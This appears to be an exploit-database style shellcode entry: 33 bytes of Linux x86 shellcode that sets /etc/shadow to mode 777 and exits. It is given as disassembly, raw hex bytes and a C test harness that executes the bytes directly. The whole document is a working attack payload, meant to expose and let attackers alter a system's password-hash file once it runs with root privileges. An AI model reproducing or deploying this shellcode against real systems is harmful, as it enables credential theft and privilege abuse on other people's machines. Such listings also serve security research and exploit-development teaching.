Linux/x86 - chmod() 777 /etc/shadow & exit() - 33 bytes
#Greetz : Bomberman(Leader)
#Author : B3mB4m
#Concat : b3mb4m@gmail.com
Disassembly of section .text:
08048060 <.text>:
8048060: 31 c0 xor %eax,%eax
8048062: 50 push %eax
8048063: 68 61 64 6f 77 push $0x776f6461
8048068: 68 63 2f 73 68 push $0x68732f63
804806d: 68 2f 2f 65 74 push $0x74652f2f
8048072: b0 0f mov $0xf,%al
8048074: 89 e3 mov %esp,%ebx
8048076: 66 b9 ff 01 mov $0x1ff,%cx
804807a: cd 80 int $0x80
804807c: 31 c0 xor %eax,%eax
804807e: 40 inc %eax
804807f: cd 80 int $0x80
#include <stdio.h>
#include <string.h>
char *shellcode =
"\x31\xc0\x50\x68\x61\x64\x6f\x77\x68\x63\x2f\x73\x68\x68\x2f\x2f\x65\x74\xb0\x0f\x89\xe3\x66\xb9\xff\x01\xcd\x80\x31\xc0\x40\xcd\x80";
int main(void){
fprintf(stdout,"Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();}